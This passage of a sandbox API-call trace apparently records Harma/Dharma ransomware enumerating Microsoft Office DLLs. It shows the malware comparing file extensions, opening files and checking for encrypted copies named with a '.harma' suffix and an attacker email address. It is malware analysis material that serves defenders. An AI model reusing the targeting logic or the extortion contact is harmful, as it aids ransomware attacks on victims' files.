(lpString1=".doc", lpString2="eftx") returned -1 [0148.874] lstrlenW (lpString=".docx") returned 5 [0148.875] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0148.875] lstrlenW (lpString=".pdf") returned 4 [0148.875] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0148.875] lstrlenW (lpString=".xls") returned 4 [0148.875] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0148.875] lstrlenW (lpString=".xlsx") returned 5 [0148.875] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0148.875] lstrlenW (lpString=".ppt") returned 4 [0148.875] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0148.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0148.875] lstrlenW (lpString=".zip") returned 4 [0148.875] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0148.875] lstrlenW (lpString=".rar") returned 4 [0148.875] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0148.875] lstrlenW (lpString=".bz2") returned 4 [0148.875] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0148.875] lstrlenW (lpString=".7z") returned 3 [0148.875] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0148.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0148.875] lstrlenW (lpString=".dbf") returned 4 [0148.875] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0148.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0148.875] lstrlenW (lpString=".1cd") returned 4 [0148.875] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0148.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0148.875] lstrlenW (lpString=".jpg") returned 4 [0148.875] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0148.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0148.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0148.876] lstrlenW (lpString=".doc") returned 4 [0148.876] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0148.876] lstrlenW (lpString=".docx") returned 5 [0148.876] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0148.876] lstrlenW (lpString=".pdf") returned 4 [0148.876] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0148.876] lstrlenW (lpString=".xls") returned 4 [0148.876] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0148.876] lstrlenW (lpString=".xlsx") returned 5 [0148.876] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0148.876] lstrlenW (lpString=".ppt") returned 4 [0148.876] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0148.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0148.876] lstrlenW (lpString=".zip") returned 4 [0148.876] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0148.876] lstrlenW (lpString=".rar") returned 4 [0148.876] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0148.876] lstrlenW (lpString=".bz2") returned 4 [0148.876] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0148.876] lstrlenW (lpString=".7z") returned 3 [0148.876] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0148.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0148.876] lstrlenW (lpString=".dbf") returned 4 [0148.876] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0148.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0148.876] lstrlenW (lpString=".1cd") returned 4 [0148.876] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0148.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0148.876] lstrlenW (lpString=".jpg") returned 4 [0148.876] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0148.877] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0148.877] lstrlenW (lpString="AUTOSHAP.DLL") returned 12 [0148.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0148.879] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=15776) returned 1 [0148.879] CloseHandle (hObject=0x20c) returned 1 [0148.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll")) returned 0x20 [0148.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0148.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0148.880] lstrlenW (lpString=".doc") returned 4 [0148.880] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0148.880] lstrlenW (lpString=".docx") returned 5 [0148.880] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0148.880] lstrlenW (lpString=".pdf") returned 4 [0148.880] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0148.880] lstrlenW (lpString=".xls") returned 4 [0148.880] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0148.880] lstrlenW (lpString=".xlsx") returned 5 [0148.880] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0148.880] lstrlenW (lpString=".ppt") returned 4 [0148.881] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0148.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0148.881] lstrlenW (lpString=".zip") returned 4 [0148.881] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0148.881] lstrlenW (lpString=".rar") returned 4 [0148.881] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0148.881] lstrlenW (lpString=".bz2") returned 4 [0148.881] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0148.881] lstrlenW (lpString=".7z") returned 3 [0148.881] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0148.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0148.881] lstrlenW (lpString=".dbf") returned 4 [0148.881] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0148.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0148.881] lstrlenW (lpString=".1cd") returned 4 [0148.881] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0148.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0148.881] lstrlenW (lpString=".jpg") returned 4 [0148.881] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0148.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0148.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0148.881] lstrlenW (lpString=".doc") returned 4 [0148.881] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0148.881] lstrlenW (lpString=".docx") returned 5 [0148.881] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0148.881] lstrlenW (lpString=".pdf") returned 4 [0148.881] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0148.881] lstrlenW (lpString=".xls") returned 4 [0148.881] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0148.881] lstrlenW (lpString=".xlsx") returned 5 [0148.882] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0148.882] lstrlenW (lpString=".ppt") returned 4 [0148.882] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0148.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0148.882] lstrlenW (lpString=".zip") returned 4 [0148.882] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0148.882] lstrlenW (lpString=".rar") returned 4 [0148.882] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0148.882] lstrlenW (lpString=".bz2") returned 4 [0148.882] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0148.882] lstrlenW (lpString=".7z") returned 3 [0148.882] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0148.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0148.882] lstrlenW (lpString=".dbf") returned 4 [0148.882] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0148.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0148.882] lstrlenW (lpString=".1cd") returned 4 [0148.882] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0148.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0148.882] lstrlenW (lpString=".jpg") returned 4 [0148.882] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0148.882] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0148.882] lstrlenW (lpString="BULLETS.DLL") returned 11 [0148.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.224] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=15264) returned 1 [0149.224] CloseHandle (hObject=0x2e8) returned 1 [0149.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll")) returned 0x20 [0149.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0149.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0149.264] lstrlenW (lpString=".doc") returned 4 [0149.264] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.264] lstrlenW (lpString=".docx") returned 5 [0149.264] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0149.264] lstrlenW (lpString=".pdf") returned 4 [0149.264] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.264] lstrlenW (lpString=".xls") returned 4 [0149.264] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.264] lstrlenW (lpString=".xlsx") returned 5 [0149.264] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0149.264] lstrlenW (lpString=".ppt") returned 4 [0149.264] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0149.264] lstrlenW (lpString=".zip") returned 4 [0149.265] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.265] lstrlenW (lpString=".rar") returned 4 [0149.265] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.265] lstrlenW (lpString=".bz2") returned 4 [0149.265] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.265] lstrlenW (lpString=".7z") returned 3 [0149.265] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0149.265] lstrlenW (lpString=".dbf") returned 4 [0149.265] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0149.265] lstrlenW (lpString=".1cd") returned 4 [0149.265] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0149.265] lstrlenW (lpString=".jpg") returned 4 [0149.265] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0149.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0149.265] lstrlenW (lpString=".doc") returned 4 [0149.265] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.265] lstrlenW (lpString=".docx") returned 5 [0149.265] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0149.265] lstrlenW (lpString=".pdf") returned 4 [0149.265] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.265] lstrlenW (lpString=".xls") returned 4 [0149.265] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.265] lstrlenW (lpString=".xlsx") returned 5 [0149.265] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0149.265] lstrlenW (lpString=".ppt") returned 4 [0149.266] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0149.266] lstrlenW (lpString=".zip") returned 4 [0149.266] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.266] lstrlenW (lpString=".rar") returned 4 [0149.266] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.266] lstrlenW (lpString=".bz2") returned 4 [0149.266] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.266] lstrlenW (lpString=".7z") returned 3 [0149.266] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0149.266] lstrlenW (lpString=".dbf") returned 4 [0149.266] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0149.266] lstrlenW (lpString=".1cd") returned 4 [0149.266] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0149.266] lstrlenW (lpString=".jpg") returned 4 [0149.266] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.266] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0149.266] lstrlenW (lpString="LINES.DLL") returned 9 [0149.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0149.305] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=15256) returned 1 [0149.305] CloseHandle (hObject=0x20c) returned 1 [0149.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll")) returned 0x20 [0149.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0149.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0149.309] lstrlenW (lpString=".doc") returned 4 [0149.309] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.309] lstrlenW (lpString=".docx") returned 5 [0149.309] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0149.309] lstrlenW (lpString=".pdf") returned 4 [0149.309] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.309] lstrlenW (lpString=".xls") returned 4 [0149.309] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.309] lstrlenW (lpString=".xlsx") returned 5 [0149.309] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0149.309] lstrlenW (lpString=".ppt") returned 4 [0149.309] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0149.309] lstrlenW (lpString=".zip") returned 4 [0149.309] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.309] lstrlenW (lpString=".rar") returned 4 [0149.309] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.309] lstrlenW (lpString=".bz2") returned 4 [0149.309] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.310] lstrlenW (lpString=".7z") returned 3 [0149.310] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0149.310] lstrlenW (lpString=".dbf") returned 4 [0149.310] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0149.310] lstrlenW (lpString=".1cd") returned 4 [0149.310] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0149.310] lstrlenW (lpString=".jpg") returned 4 [0149.310] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0149.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0149.310] lstrlenW (lpString=".doc") returned 4 [0149.310] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.310] lstrlenW (lpString=".docx") returned 5 [0149.310] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0149.310] lstrlenW (lpString=".pdf") returned 4 [0149.310] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.310] lstrlenW (lpString=".xls") returned 4 [0149.310] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.310] lstrlenW (lpString=".xlsx") returned 5 [0149.310] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0149.310] lstrlenW (lpString=".ppt") returned 4 [0149.310] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0149.310] lstrlenW (lpString=".zip") returned 4 [0149.310] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.310] lstrlenW (lpString=".rar") returned 4 [0149.311] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.311] lstrlenW (lpString=".bz2") returned 4 [0149.311] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.311] lstrlenW (lpString=".7z") returned 3 [0149.311] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0149.311] lstrlenW (lpString=".dbf") returned 4 [0149.311] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0149.311] lstrlenW (lpString=".1cd") returned 4 [0149.311] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0149.311] lstrlenW (lpString=".jpg") returned 4 [0149.311] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.311] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0149.311] lstrlenW (lpString="OFFICE10.DLL") returned 12 [0149.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0149.312] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=15776) returned 1 [0149.312] CloseHandle (hObject=0x20c) returned 1 [0149.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll")) returned 0x20 [0149.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0149.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0149.313] lstrlenW (lpString=".doc") returned 4 [0149.313] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.313] lstrlenW (lpString=".docx") returned 5 [0149.313] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0149.313] lstrlenW (lpString=".pdf") returned 4 [0149.313] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.313] lstrlenW (lpString=".xls") returned 4 [0149.313] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.313] lstrlenW (lpString=".xlsx") returned 5 [0149.313] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0149.313] lstrlenW (lpString=".ppt") returned 4 [0149.313] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0149.313] lstrlenW (lpString=".zip") returned 4 [0149.314] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.314] lstrlenW (lpString=".rar") returned 4 [0149.314] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.314] lstrlenW (lpString=".bz2") returned 4 [0149.314] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.314] lstrlenW (lpString=".7z") returned 3 [0149.314] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0149.314] lstrlenW (lpString=".dbf") returned 4 [0149.314] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0149.314] lstrlenW (lpString=".1cd") returned 4 [0149.314] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0149.314] lstrlenW (lpString=".jpg") returned 4 [0149.314] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0149.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0149.314] lstrlenW 